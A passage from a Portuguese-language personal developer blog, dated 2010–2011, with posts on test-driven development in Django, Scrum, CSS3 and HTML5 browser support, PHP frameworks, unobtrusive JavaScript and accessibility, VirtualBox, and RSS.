Escrevo estas estórias em forma de testes. Estes testes podem ser classificados como funcionais (no meu caso testo as views do Django, mas isso pode variar de acordo com a aplicação);
E através de “baby step” e unit, crio testes isolados para os modelos, formulários, views, etc.

Testes de comportamento tendem a levar mais tempo para serem executados, esta é outra razão para termos sempre em mãos os testes unitários.

Até hoje não ví uma maneira “silver bullet” de trabalhar com testes automatizados. Encaro da seguinte maneira:

Está cobrindo o teu sistema?
Está guiando de forma correta o seu desenvolvimento?
Está sendo escrito da forma correta (não deixando bugs passarem despercebidos, por exemplo)?

Se todas as respostas forem sim, acredito que esteja sendo feito da maneira adequada.

Referências

TDD: Desenvolvimento Orientado a Testes

Thu, 27 Jan 2011 11:30:00 GMT

Esse post foi originalmente escrito para o Profissionais TI, você pode conferi-lo na íntegra aqui.

O caos!

Hoje em dia o agile passou de uma “técnica anarquista” para uma saborosa realidade, principalmente nas startups de tecnologia.

Uma das características de qualquer método ou ferramenta agile é que: Qualidade não é negociável; Como podemos garantir que ao final de cada ciclo de entregas estamos entregando uma solução que atenda escopo, prazo e também qualidade?

Test first

Metodologias ágeis como o Scrum e o XP adotam a técnica “Test First”:

Primeiro escreva um teste que falhe
Depois escreva um código que faça o teste passar
Melhore o código escrito

Red, Green, Refactor!

Além da garantia de que sua aplicação irá funcionar após uma atualização ou bugfix, devemos levar em conta que estamos indo além do simples ato de testar. É nisso que muita gente se confunde quando fala-se em Test-Driven Development: Não trata-se apenas de testes, trata-se de design!

Os testes passam a ser a sua especificação, passam a ser a forma de você medir se o seu software está sendo conduzido para o real objetivo ou não. Literalmente, os testes guiam o seu desenvolvimento – mas isso não garante que a solução como um todo esteja funcional, por isso é necessário uma pitada de bom senso (como em tudo na vida).

Quando você menos espera, a construção dos testes automatizados passou de “testes” para “desenvolvimento”. Ou seja, esse método irá fazer parte do processo de construção de código e você começará a medir qualquer estimativa referente a codificação com os testes inclusos, naturalmente.

A web está repleta de artigos sobre como construir estes testes, como executá-los, etc. Então, não vou ficar repetindo o que o Google pode responder.

Automatizar = Agilidade?

Mas porque TDD ajuda tanto? Será que vale a pena praticar?

Quando comecei a programar orientado a objetos, tinha em mente que aquilo era só curiosidade, que no modo estruturado estava muito bom e não via a real utilidade daquilo tudo. Claro, isso até ser completamente envolvido por OOP, e quando me dei conta não sabia mais viver sem ele.

Agora já posso dizer o mesmo de TDD. O prazer de construirmos orientados a testes, através de um processo baby-steps, é desafiador… voltei a acreditar que posso fazer software bom e de qualidade, pois:

A taxa de acerto é alta
A ocorrência de erros diminui
Você ganha confiança no que está produzindo

Mesmo que você perca tempo não previsto no desenvolvimento, poupa tempo (espero eu que) previsto nos testes. No começo a performance do desenvolvedor cai significativamente… mas com o tempo irá tornar-se uma prática para dar maior segurança em relação a qualidade do seu software, e também dar maior segurança a você.

Desenvolvedores: 5 conselhos que para mim funcionaram!

Mon, 24 Jan 2011 11:00:00 GMT

Este post foi originalmente escrito para o Profissionais TI, você pode conferí-lo na íntegra aqui.

1 - Mantenha-se atualizado

Livros, RSS, Twitter, Blogs, Wikis, etc. A informação está em todo o lugar, não há mais desculpas para não manter-se atualizado.

As assinaturas RSS têm me mantido atualizado sobre os mais variados assuntos sem necessitar ficar perdendo a manhã inteira pulando de blog em blog. Isso é magnífico, já que em 30 mins ou no máximo 1 hora sou capaz de me manter informado sobre os assuntos que realmente me interessam e que fazem a diferença no meu ambiente profissional.

Descobrí no Twitter uma forma ultra-rápida de me manter atualizado: sigo pessoas relevantes que estão a todo instante postando links interessantes, discutindo assuntos interessantes, nos informando o que estão fazendo; Obviamente existe toda a parte descartável, mas não estamos totalmente imunes a isto.

2 - Seja aberto a novidades

Pode parecer bobagem, mas conheço gente que simplesmente se isola do mundo com medo de novidades.

Creio que isso esteja relacionado ao “medo da mudança”. Quando atingimos uma zona de conforto, precisamos de muito estímulo para deixá-la. Isso é fato, é em momentos de crise que a humanidade mais se desenvolve. É em momentos de crise que os profissionais são obrigados a deixar sua zona de conforto.

Não vejo nada de errado em ser saudosista, mas seja um saudosista moderado. Novos modos de fazer tecnologia estão aparecendo e estão caindo no gosto de muito “peixe grande” da informática.

3 - Networking é bom

Participe de listas de discussões! Tenha um Twitter! Tenha um Mensageiro Instantâneo! Participe de salas do IRC!

Eu participo de listas de discussões e posso dizer que já salvaram a minha vida algumas vezes. Quando eles não conseguem resolver, sou obrigado a partir pro IRC, onde existem pessoas muito inteligentes dispostas a lhe ajudar.

E quando isso não resolve, o jeito é partir pra lista de contatos do seu e-mail ou mensageiro instantâneo.

Mas, além disso tudo eu recomendo: o face-to-face é a melhor forma de resolver seus problemas; Tenha “contatos de carne e osso”!

4 - Humildade, ou “sempre tem um peixe maior”

E isso envolve EGO, ou o ato de não deixá-lo do tamanho de um elefante.

Talvez esse tenha sido o maior desafio para mim (e é até hoje): pedir ajuda; Simplesmente aceitar que o indíviduo é mais capaz do que você em determinada situação, mas também entender que se ele compartilhar esse conhecimento com você, ambos serão capazes de executar a função juntos.

Ser humilde é um ato que atrai mais pessoas ao seu redor. Atraia pessoas inteligentes… isso só fará bem a você.

5 - Colabore / Compartilhe

E além de pedir ajuda, ajude! Compartilhe o seu know-how sobre alguma linguagem, ferramenta ou prática.

Penso da seguinte maneira: Quanto mais gente utilizar a mesma técnica que você, mais ela se tornará conhecida, e igualmente se tornará mais forte.

Nem vou mencionar sobre Software Livre, Open Source, etc. Não trata-se do software rodando naquela máquina, trata-se do conhecimento investido e adquirido, e o fato desse conhecimento poder ser propagado.

Tiobe elege o Python como a linguagem de programação de 2010

Tue, 11 Jan 2011 11:16:00 GMT

Não é de hoje que Python conquistou o respeito dos mais diversos entusiastas do mercado de Tecnologia da Informação de todo o mundo… e era questão de tempo para que esse reconhecimento fosse “sacramentado”.

O Henrique Bastos divulgou na lista de discussão do Django a notícia que a Tiobe elegeu o Python como linguagem de 2010.

O Python agora ocupa a quinta colocação da tabela da Tiobe, atrás somente de Java, C, C++ e PHP.

O sucesso deve-se desde a rica documentação, até as excepcionais frameworks que tornam a linguagem uma das ferramentas modernas mais poderosas (e ágeis) para desenvolvimento de software.

CSS3: Cantos arredondados, sombras e degradês até no IE

Mon, 27 Dec 2010 12:00:00 GMT

Enquanto o movimento em prol do HTML5 ganha cada vez mais força, o que podemos falar do CSS3?

Para a nossa felicidade, Opera, Safari, Google Chrome, Firefox e (o polêmico) IE9 já apresentam (ou apresentarão, no caso do IE) bom suporte às principais propriedades do CSS3. Mas vale ressaltar que, assim como o HTML5 o CSS3 é apenas um “draft“… os navegadores suportam algumas características através de expressões proprietárias (então a cautela neste caso também é necessária).

Isto pode (e deve) ser encarado de uma forma muito negativa. Mas temos que entender que estas expressões proprietárias estão calcadas em especificações do W3C, ou seja, é bem provável que o border-radius do Firefox (realizado através da expressão -moz-border-radius) irá reproduzir um efeito similar ao border-radius do Chrome (que já segue a especificação do W3C). A dica que eu dou é a seguinte: Utilize Graceful Degradation, ou seja, escreva seus estilos com CSS3, e vá adicionando exceções para suportar os demais navegadores que não suportam certas propriedades.

Vamos ao que interessa?!

CSS3 Please!

O site CSS3 Please! The Cross-Browser CSS3 Rule Generator nos ensina como fazer border-radius, box-shadow, transform, transition, text-shadow e font-face; de forma muito simples e prática, e que funcione no Safari, Chrome, Opera e Firefox (e algumas propriedades até no IE).

É uma referência muito interessante que deve estar sempre disponível para quando bater aquela dúvida. Podemos reparar que são (na maioria dos casos) expressões proprietárias, mas que atingem a experiência obtida utilizando uma expressão standard (como no caso do border-radius).

CSS3 PIE

O CSS3 Please! já quebra um bom galho na utilização de alguns recursos do CSS3. Mas no caso do IE, algumas propriedades como border-radius e box-shadow (que no meu caso são as propriedades mais “salva-vidas” da linguagem) não possuem alternativas.

O site CSS3 PIE apresenta uma forma de utilizar estas propriedades sem precisar utilizar PNGs com transparência. Através de um arquivo .htc importado na folha de estilo, podemos fazer com que o IE (do 6 ao 8 ) possa compreender as seguintes propriedades:

border-radius
box-shadow
border-image
Múltiplas imagens de fundo (background images)
Gradiente como fundo (linear-gradient as background image)

Já é uma boa economia de trabalho, não?

jQuery e Graceful Degradation

Recentemente o Tableless fez um excelente post sobre como usar a jQuery como meio de fazer alguns navegadores lidarem da melhor forma possível com novos recursos do CSS3 e HTML5. Sempre fui muito a favor da visão deles e dessa vez não será diferente.

Nivelar por baixo pode ser uma excelente forma de garantir acessibilidade. Mas não é pecado “vendermos” um pouco de “boa experiência” para nossos usuários.

Enriquecer a experiência do usuário não é crime… esquecer da acessibilidade sim.

SCRUM: Como encontrei a felicidade gerenciando prazos

Thu, 09 Dec 2010 11:53:00 GMT

Eu como desenvolvedor nunca tive real interesse em gerência de projetos, o que fatalmente resultava em projetos de qualidade duvidosa e fora de prazo. Devo confidenciar que até hoje não tenho interesse no modelo “tradicional” de gerenciar projetos de software, mas a preocupação com a qualidade, prazos e escopo acabou por fazer parte do meu cotidiano quando abri minha própria empresa de desenvolvimento.

Startups geralmente são compostas por equipes pequenas, e estas devem ser multidisciplinares. Acredito que o “desenvolvedor web” atualmente é mais do que aquele “feijão com arroz” do início dos anos 2000. Hoje temos a obrigação de saber o mínimo possível de cada área de conhecimento que envolve o desenvolvimento de software: desde design de interfaces à modelagem de entidades e relacionamentos em um banco de dados (ou seja, verdadeiros Engenheiros de Software).

Um dia eu disse “chega” ao caos, e decidi que meus projetos de agora em diante deveriam possuir prazos bem definidos e acima de tudo qualidade. O meu primeiro passo foi procurar ferramentas, e esse foi o meu maior erro. Não se trata de ferramentas ou processos… trata-se de pessoas e atitude!

Eu me sinto na obrigação de falar sobre Scrum antes mesmo de falar sobre camadas de desenvolvimento web, ambientes de desenvolvimento Python / Django, ou sobre testes automatizados.

Trata-se de pessoas…

Se você não sabe o que é Scrum, recomendo:

Primeiramente assitir ao vídeo “Scrum under 10 minutes“;
Após esta divertida introdução, ver Scrum no mundo real assistindo ao depoimento sobre como ele é usado na Globo.com;
Por fim, recomendo ler o e-book “Scrum e XP direto das trincheiras” (sem dúvida a minha refência favorita sobre Scrum).

Formação Scrum, no Rugby

Posso afirmar que o grande lance do Scrum é aproximar as pessoas envolvidas em um projeto removendo o que não importa. É tirá-las de baias, fazê-las pararem de ficar enviando e-mails umas para as outras, botar estas pessoas numa sala e fazer com que se conversem como seres humanos normais.

Particularmente, detesto o face-to-face. Mas me aproximar do cliente foi uma experiência muito agradável que só me trouxe benefícios. Agora eu sabia exatamente qual era a necessidade dele. O Scrum me possibilitou isso removendo pilhas de documentos e processos do caminho, mostrando que para você entender qual é o problema do cliente é necessário comunicação.

Foco garante agilidade

Iterações de projetos Scrum

Sabendo exatamente qual era a necessidade do cliente, foi possível determinar o que era mais importante para o mesmo. O modelo de desenvolvimento iterativo permite que os desenvolvedores de software possam entregar pequenas partes usáveis de seu sistema para o cliente. Através de pequenas tarefas priorizadas pelo próprio, podemos gerar valor mesmo durante o processo de desenvolvimento (ao contrário do modelo cascata onde a aplicação só irá gerar valor ao término do desenvolvimento).

O modelo de pequenas entregas trouxe algumas vantagens para o meu ambiente de trabalho:

Escopo bem definido: Nos preocupávamos com pequenos grupos de funcionalidades por vez, garantindo um foco no que realmente importava ao cliente naquela etapa de desenvolvimento do projeto. Com as propostas do Scrum para gerência de estórias, o conhecimento era sempre explícito (ou seja, todos da equipe sabem exatamente o que deve ser feito);
Flexibilidade: Em um pequeno projeto, percebi que a maneira determinada inicialmente para resolver um problema específico era ineficaz. O modelo iterativo me permitiu mudar o andamento do desenvolvimento (através da utilização do Backlog e de Sprint Plannings);
Qualidade acima de tudo: Com os feedbacks rápidos foi possível captar o sentimento do cliente em relação ao projeto. Com ele próximo a equipe fica muito mais fácil negociar escopo e garantir qualidade. Já li em alguns lugares que muitas vezes o fim do prazo do projeto não fora atingido mas o cliente já estava totalmente feliz com a solução… na verdade o cliente só vai saber o que quer quando mostrarmos algo a ele.

Conhecendo o escopo, tendo uma equipe “sincronizada”, tendo o poder de negociar escopo e coletando feedbacks rápidos do cliente; além de qualidade ganhamos o que falta no modelo tradicional de desenvolvimento de software: agilidade. Esta me permitiu entregar o escopo prometido (e negociado durante o desenvolvimento) dentro do prazo prometido (que influenciou diretamente na negociação do escopo) sem denegrir qualidade.

O cliente ganha, o desenvolvedor ganha e as famílias dos desenvolvedores também ganham =D

Considerações finais

Se você achou o Scrum burocrático demais para a sua empresa (garanto que terão pessoas que o acharão), recomendo a leitura do e-Book “Getting Real” do pessoal da 37 Signals. Já para aqueles que acharam o Scrum “anárquico” demais, recomendo conhecer a eXtreme Programming (este artigo da ImproveIT está sensacional!).

Não acho o agile uma solução ”bala de prata”. Acredito que os processos devam ser moldados de acordo com a realidade de cada instituição. Mas tenha em mente, este conceito de “fábrica de Software” já perdeu muito do seu prestígio, e hoje quase virou sinônimo de “projetos atrasados”.

Para mim funcionou muito bem, mesmo depois de fechar a minha empresa (não foi culpa do Scrum (: ) e aplicar estes conceitos em meus projetos freelancer.

Virtualbox: Uma maneira interessante de possuir vários SOs em uma máquina só

Wed, 01 Dec 2010 20:14:00 GMT

Sabe quando você quer testar uma distribuição (ou SO) diferente mas não quer mexer diretamente no particionamento do seu HD? Ou quando você precisar propor uma máquina individual para serviços web, mas não tem hardware sobrando para isto? Ou quando você precisa ficar movendo um ambiente completo entre máquinas ou locais?

Virtualização pode ser a resposta para os seus problemas!

Virtualização? What the hell?

Segundo o nosso bom e velho Wikipedia, virtualização é:

(…) uma forma de esconder as características físicas de uma plataforma computacional dos utilizadores, mostrando outro hardware virtual, emulando um ou mais ambientes isolados.

Em outras palavras, é a capacidade de você executar um ou mais sistemas operacionais através de plataformas que são emuladas através de um segundo sistema operativo… não ajudei né? Então vamos para a forma “vulgar”:

É o conceito ou software que permite a você executar Ubuntu, Mac OS X e FreeBSD em seu Windows XP sem necessitar particionar seu HD, e ao mesmo tempo. Neste caso, um hardware virtual é criado e você opera (instala, configura, usa) o SO normalmente, como se estivesse em uma “máquina física”.

O artigo no Wikipedia sobre virtualização está bem bacana, inclusive citando vantagens e inconvenientes.

O Virtualbox

Logotipo do Virtualbox

Existem diversas formas e ferramentas para virtualizar ambientes em seu desktop ou servidor. A ferramenta que tenho utilizado com muito sucesso (em meu desktop, sou programador e não expert em infra (: ) é o Virtualbox (também chamado de Virtualbox OSE).

Hoje mantido pela Oracle (que adquiriu a Sun Microsystems), o Virtualbox é uma solução ágil e objetiva no que diz respeito a virtualização. Não sei a opinião dos profissionais de infraestrutura sobre esta ferramenta, mas já passei por duas empresas especializadas em serviços/produtos focados em servidores, e o Virtualbox estava lá atendendo a demanda.

O que me chamou a atenção foi a facilidade de uso. Como programador, utilizo-o para criar sandboxes e máquinas de testes. Na empresa onde trabalho atualmente, utilizamos o programa para manter nossos workspaces isolados (já que a aplicação em que eu trabalho é empacotada como uma verdadeira distribuição Linux). Já no meu computador pessoal, tenho VMs (Virtual Machines – Máquinas Virtuais) para testar distribuições como o Debian, Slackware e até mesmo o Android.

Instalando o Virtualbox

Existem milhares de tutoriais que ensinam a instalar o Virtualbox. Não vou “reinventar a roda”… vou apenas indicar alguns tutoriais:

Até a próxima…

Agilidade em PHP: Conhecendo algumas frameworks – Parte 1

Sat, 27 Nov 2010 12:21:00 GMT

Embora eu me considere um admirador do Python e Django, é o PHP que vem “colocando comida na mesa”. É inegável a importância desta linguagem para o meio web. Basta reparar que a grande parte dos cursos focados nesta área têm o PHP em sua grade.

Isto pode ser uma “faca de dois gumes”, pois com a oferta de cursos em PHP em alta é normal que apareçam novos bons profissionais, e maus profissionais (como em qualquer outra linguagem). Recentemente notei que o profissional PHP tem fama de escrever “código ruim” ou “código cheirando mal”. Esta linguagem foi a minha porta de entrada para o desenvolvimento web (como é de muitos outros), e acredito que não seja a linguagem que faça do profissional um mau programador… experiência (e competência) adquirimos com tempo e prática.

Resumindo, conheço profissionais PHP que mandam muito bem! Então se você está começando… PHP é sim uma ótima escolha (mas não limite-se a ele).

E vamos ao post ;)

Framework pra quê?

Sejamos sinceros. Quem já usou um framework na vida sabe muito bem como responder esta pergunta. Além do set de funcionalidades “ready to use“, temos os benefícios da organização, de algumas boas práticas de segurança (em alguns casos), de testes automatizados, etc. Hoje, não me vejo escrevendo um software do zero… seria um total desperdício de esforço e tempo.

Se você está meio cético quanto a isso tudo, eu lanço o desafio: Pergunte a qualquer usuário do jQuery se o mesmo deixaria de usá-lo e voltaria a desenvolver suas soluções com Javascript puro.

Botando o PHP nos trilhos com Akelos

Logotipo do framework Akelos

O Akelos foi o primeiro framework PHP que eu experimentei. Na época (cerca de 2 anos atrás) ele tinha sérios problemas com documentação e era um pouco “difícil de lidar”.

A premissa do Akelos é ser o Ruby on Rails do PHP. Inclusive, quem tem certa experiência com RoR vai notar várias similaridades entre ambos (na verdade é um verdadeiro “port” do RoR pro PHP). Cheguei a publicar um projeto em Akelos, e devo admitir que na época tive um pouco de dificuldade… talvez hoje ele esteja mais maduro.

O que eu realmente gostei nele foi o esquema de “admin generator” semelhante ao do Django, seu poderoso esquema de scaffolding e a postura humilde dos desenvolvedores de indicarem outros frameworks na sua página oficial.

Se você já desenvolve em Ruby (on Rails) e necessita passear pelo mundo do PHP, Akelos é uma boa pedida. Na minha opinião, se você não tem nenhuma ligação com Ruby, recomendo experimentar outros frameworks.

Conheça o Akelos Framework.

Cozinhando aplicações em CakePHP

Logotipo do framework CakePHP

Posso considerar a CakePHP o meu framework “oficial” para PHP. Para começar a sua página oficial já chama a atenção pelo visual e pela disposição de conteúdo.

A premissa da CakePHP é “rapid development”. Já publiquei alguns projetos em Cake e devo admitir que ela lhe agrega uma produtividade excepcional sem criar complexidade desnecessária.

O que me chamou a atenção, em relação aos outros frameworks que testei, foi o seu esquema de ORM. Agregado ao seu mecanismo de scaffolding, torna nossa vida muito mais simples em relação a construção de modelos de dados, formulários e consultas.

A documentação é muito boa, e existem vários componentes de terceiros que a fazem uma das escolhas mais certeiras para o seu ambiente de desenvolvimento em PHP.

Conheça a CakePHP Framework.

Injetando combustível com CodeIgniter

Logotipo do framework CodeIgniter

Antes de mais nada, devo dizer que só utilizo “oficialmente” a CakePHP por causa do seu ORM. Caso contrário, sem dúvida nenhuma, seria usuário assíduo do CodeIgniter.

Ele é um framework muito legal, pelo fato de ser mais abrangente que os dois frameworks citados anteriormente. Como assim “abrangente”? Explico: CodeIgniter faz menos coisas para você que a Akelos, Cake ou Zend.

Se você está pensando que isto é uma desvantagem, está enganado. O CI é um framework extremamente simples de usar. Gostei muito e recomendo sem dó. Para aqueles projetos em que você quer ter total controle sobre tudo o que ocorre em cada região da sua aplicação… CI é uma excelente pedida.

A sua documentação é muito boa, e talvez seja um grande fator positivo para a escolha da ferramenta. Ela não é tão “rapid development” quanto a Cake, mas garante uma produtividade incrível e um prazer indescritível em programar em PHP.

Muito provável que eu volte a utilizá-lo em outros projetos.

Conheça a CodeIgniter.

O poderio do famoso Zend Framework

Logotipo do Zend Framework

O meu contato com o Zend Framework foi um tanto superficial, mas isso já me dá propriedade para dizer: de todos as citados é o framework mais poderoso.

Para ser sincero não tenho motivos para não usar o Zend, acredito que a Cake seja mais simples e “rapid”, por isso da minha escolha. Mas conheço algumas agências Web que a adotaram como ferramenta de desenvolvimento seguindo a lógica: excelente documentação, excelente suporte, excelente participação da comunidade. Para se ter ideia, o Zend já possui livros escritos por autores brasileiros, fora a bibliografia estrangeira que também é muito boa.

Usei Zend (na verdade prestei suporte a um projeto existente) em um blog com bom número de visitas diárias, utilizando um banco Postgres. E talvez isso tenho refletido na minha escolha, pois o autor do código não sabia utilizar o esquema de ORM do Zend, fazendo com que instruções referentes a consultas (que deveriam estar em modelos, seguindo o MVC) estavam nos controladores, o que deixava o código “macarrônico” demais para o meu gosto.

Mas é uma excelente ferramenta, possui um esquema de validadores muito bom, e embora pareça um pouco complexa de início, com a prática você acaba desmistificando e apaixonando-se por este framework.

Conheça o Zend Framework.

Considerações finais

Como você pode ver, este papo de que o ambiente de desenvolvimento PHP é “pobre” é lenda.

Até a próxima.

Garantindo acessibilidade com Javascript não obstrusivo

Thu, 18 Nov 2010 08:00:00 GMT

Em épocas onde RIA está cada vez mais comum, e as interfaces web resolveram parecer-se cada vez mais com ambientes desktops, tenho reparado um grande movimento a favor da acessibilidade, afinal, como bons profissionais que somos temos que garantir que a informação que estamos disponibilizando seja acessada por uma gama de pessoas, inclusive aquelas com necessidades especiais.

Preocupe-se com a acessibilidade

Quando você lê “Javascript não obstrusivo”, você está lendo que uma aplicação web, mesmo que recheada de requisições Ajax, possa funcionar em navegadores mais modestos (como o Lynx, dispositivos mobile, navegadores específicos para pessoas com necessidades especiais (leitores de tela, por exemplo) ou até mesmo em outras máquinas (no caso de serviços web).

Diego Eis (do Tableless) comenta que para garantir acessibilidade em suas aplicações web é necessário que:

Funcione em diversos dispositivos (handhelds, WebTV, tablets, etc);
Funcione em várias plataformas (Windows, Linux, Mac, etc);
Funcione em diversos navegadores;
Seja acessível por todos os tipos de pessoas (incluindo pessoas com deficiência motora ou visual).

A pergunta que não quer calar: Como posso fazer da minha aplicação web, que tem centenas de eventos Javascript e centenas de requisições Ajax, ser “não obstrusiva”?

Não deixe que o Javascript interfira na informação

Quem vem do xHTML já tem por hábito separar o front-end em três áreas:

Informação (conteúdo)
Estilos (aparência)
Comportamento (interação)

Podemos chamá-las de camadas se preferir. O importante é que uma área deve impactar o mínimo possível sobre a outra (ou seja, interferir “diretamente”). Isto é possível eliminando o uso de instruções inline, usando folhas de estilos ao invés de instruções style e adicionando eventos ao Javascript através de métodos da linguagem (e não atributos dos elementos HTML como o onClick).

Pode parecer difícil enriquecer uma aplicação e preocupar-se com acessibilidade, mas faça o seguinte:

Comece com um HTML bem escrito (e semântico)
Construa a aparência através de folhas de estilos externas (de preferência)
Aplique o comportamento necessário através de scripts externos (de preferência)

O Igor Escobar fez um post com uma apresentação de Simon Willison onde é explicado como fazer Javascript não obstrusivo com jQuery. A prática acima (e mencionada na apresentação) é conhecida por Progressive Enhancement, e você pode ler mais sobre no A List Apart.

noscript?

Se construirmos uma aplicação ou website que funciona dentro da Progressive Enhancement, temos um website ou aplicação que não obrigará o usuário a ter todos os recursos da CSS ou do Javascript totalmente funcionais em seu navegador. Temos uma aplicação que funcionará mesmo se o navegador do usuário não suporte Javascript. Logo, (na minha opinião) não é necessário o uso da tag <noscript>, afinal o usuário não será “prejudicado” ou isento de qualquer tipo de informação que nossa aplicação se disponha a exibir.

Considerações finais

Mesmo que a sua aplicação seja para um público muito específico, preocupe-se com a acessibilidade. Você, seus clientes e a sociedade só tem a ganhar.

Finalizando… é interessante notar que qualquer boa-prática que envolva o desenvolvimento Web está diretamente ligada com um HTML bem escrito, e acima de tudo, com a semântica.

Até a próxima…

Usando o HTML5 sem medo

Sat, 13 Nov 2010 10:30:00 GMT

É notável como gradativamente a gente vem ouvindo cada vez mais sobre HTML5 e CSS3. Os sites com experimentos não param de aparecer na web, muitas referências boas com excelentes dicas sobre escrita e semântica, e até mesmo websites profissionais (desenvolvidos por empresas da área do desenvolvimento web), começam a tornar-se cada vez mais comuns.

Mas é óbvio que o HTML5 não está maduro o bastante para simplesmente abandonarmos a cautela e acharmos que todo o nosso público utiliza Google Chrome. Na verdade, acredito que os desenvolvedores Web já aprenderam muito com o IE 6 (e vibraram muito com a sua morte) para cometer este tipo de equívoco de novo.

Mas então, até onde podemos “arriscar” no HTML5 e CSS3? Quando poderemos enfim falar para os nossos clientes que utilizaremos HTML5 nos sites deles?

O site When can I use… pode responder esta pergunta para você!

Ele apresenta alguns recursos da HTML5 e CSS3 e qual a previsão de suporte para determinado navegador (IE, Opera, Safari, Firefox e Chrome). Por exemplo, segundo o site, o IE só terá suporte nativo ao Canvas em sua versão 9.

Mas dá pra usar ou não?

Comunidade Drupal incentivando ao uso do HTML5

Já utilizei HTML5 em alguns projetos. Devo confidenciar que foram projetos “na surdina”, ou seja, os clientes e demais envolvidos não sabiam que o desenvolvimento estava sendo feito em HTML5 (sendo revelado somente depois de concluído). Como fiz para utilizar a HTML5 sem me preocupar com IE? Bom, por mim eu simplesmente ignoraria o IE, mas comercialmente falando isto seria um tiro no pé.

Então assistindo a uma conferência da W3C Brasil, o Elcio do Tableless mostrou algumas soluções para quem enfrenta o dilema de fazer funcionar nos bons e nos maus navegadores.

Primeiramente, deixa eu parabenizar o Tableless pelo excelente “HTML5 – Guia de referência para os desenvolvedores web”. É justamente neste guia, mais exatamente no capítulo 2, que são apresentadas técnicas de detecção para sabermos se o browser do internauta suporta determinado recurso ou não.

Outra excelente referência é o Dive into HTML5. Onde, além dos conceitos somos levados à prática em um material muito bem escrito e divertido.

Utilizando estas técnicas eu digo: É possível sim! Mas tenha em mente que muitas coisas ainda são Drafts, ou seja, amanhã simplesmente podem deixar de existir (o que já aconteceu). Então não invente… use sem medo essa nova safra de elementos como article, section, aside, etc. Também experimente as tags video e audio, elementos canvas e brinque com o localStorage, mas evite recursos muito “extravagantes”.

Para finalizar, visitem o “HTML5 Unleashed: Tips, Tricks and Techniques”. É um megaboga tutorial de HTML5 que aborda desde os elementos “mais seguros” até técnicas para detecção e para renderização no IE.

E vamos aguardar o livro do Maujor.

Motive-se: Por que usar Python e Django?

Fri, 12 Nov 2010 19:20:00 GMT

Se você ainda está em dúvida sobre utilizar Python e Django, abaixo segue uma compilação dos posts que já fiz ao Profissionais TI sobre esta fantástica linguagem de programação que é o Python, e esta maravilhosa framework chamada Django:

Você possui algum link interessante para compartilhar? Nos mostre deixando um comentário...

O que é RSS?

Fri, 12 Nov 2010 19:15:00 GMT

Conheço pessoas “bem instruídas” em TI que simplesmente não sabem o que é RSS. Esta é a minha motivação para escrever este “primeiro post oficial” e lhe explicar, caso você não saiba, como você pode ler o conteúdo deste blog sem visitar este endereço.

In a nutshell…

Primeiramente quero deixar claro que gosto muito de pageviews. Fique a vontade para visitar este blog quando e quantas vezes quiser :)

Segundo a Wikipedia:

RSS (Really Simple Syndication) é um subconjunto de “dialetos” XML que servem para agregar conteúdo ou “Web syndication“, podendo ser acessado mediante programas ou sites agregadores. É usado principalmente em sites de notícias e blogs.

Bom… este é um blog! E este é nosso link RSS.

Logo, você é capaz de receber os artigos que publico aqui em seu leitor RSS favorito. Não viu vantagem nenhuma nisto?

RSS na prática

Você é um cara antenado, toda a manhã você visita os mais variados blogs e sites de notícias para manter-se atualizado. Nem todos os sites possuem atualizações, e lá se foi tempo precioso da sua vida visitando o dito cujo.

Certo dia, você visita um blog simpático e o autor lhe fala sobre RSS. Ele promete que você não precisa ficar saltitando de blog em blog procurando por novos artigos. O autor lhe promete que existem programas que visitam uma determinada URL destes sites procurando por novidades, este programa lhe traz o resumo (as vezes até mesmo a notícia completa) de todos os sites que você usualmente visita. Você leva muito menos tempo para atualizar-se sobre as coisas que estão acontecendo no mundo.

Esta “determinada URL” que o tal programa visita é chamada de Feed RSS. Este programa que você utiliza para visitar esta URL chama-se “cliente RSS“, “agregador” ou “leitor RSS“. E o tal do RSS na verdade é um padrão que sistemas como o que alimenta este blog e os leitores RSS usam para se comunicar.

Vulgarmente falando, é um formato para divulgação de artigos.

Considerações finais

Está em dúvida sobre qual cliente RSS escolher? Esta lista pode te ajudar.

Agora que você tem ideia do que é RSS, não deixe de adicionar este blog no seu leitor.

Hello World!

Fri, 12 Nov 2010 19:10:00 GMT

Por dois longos anos esperei por este momento (talvez tenha esperado até demais), mas enfim… posso dizer que tenho um blog!

Devo confidenciar. Já trabalhei com WordPress antes, mas sempre como o cara que estava desenvolvendo um Blog/CMS para alguém. Desta vez eu posso me considerar “do outro lado”, e é difícil hein?! Pretendo contribuir com vocês, caros leitores, com todo o conhecimento que possuo (e seguindo a regra da reciprocidade, absorver conhecimento de vocês também).

O que você pode esperar deste Blog

Eu acredito que já trilhei um longo caminho com o PHP, passando pelo Joomla!, WordPress, Spaghetti, CodeIgniter e mais recentemente pela CakePHP. Pretendo sim falar sobre PHP, mas de uma forma bem “light“, pois na verdade o objetivo principal deste blog é transmitir meus conhecimentos sobre Python, Django, padrões Web, Software Livre e Linux.

Não que eu seja um “guru” nas tecnologias mencionadas, mas aprendi contribuindo com o Profissionais TI que escrever posts é uma excelente maneira de aprender. Então podem apostar que eu vou estar aprendendo junto com vocês.

Casa de ferreiro…

Eu sei. Vocês devem estar pensando “como raios um desenvolvedor Web tem um blog com um template free?“. Sou programador, meus dons artísticos não são nada admiráveis. Portanto resolvi: O Blog será um meio de ensino e aprendizagem. Um hobby. Não irei me preocupar tanto com a sua composição.

Não que eu não vá aplicar minhas (poucas) habilidades em WordPress neste blog. Só pretendo fazer deste uma espécie de “jardim Zen“, ou seja, quando achar que vai ser maneiro escrever um tema todo em HTML5 com altos efeitos em CSS3 (se eu tiver tempo para isso), com certeza farei… e com certeza mostrarei como fiz, e podem ter certeza que este tema será open source.

Are you ready?

Gostaria de agradecer ao Jackson Caset do Profissionais TI, Marinho Brandão, Henrique Bastos, Franscisco Souza, ao Akita, pessoal do Tableless e ao Pedro do Pinceladas da Web. Eles podem até não saber, mas foram influências para a criação deste blog … sem dúvida, se não fossem por estes caras, eu estaria jogando Winning Eleven numa hora dessas :)

Boa leitura…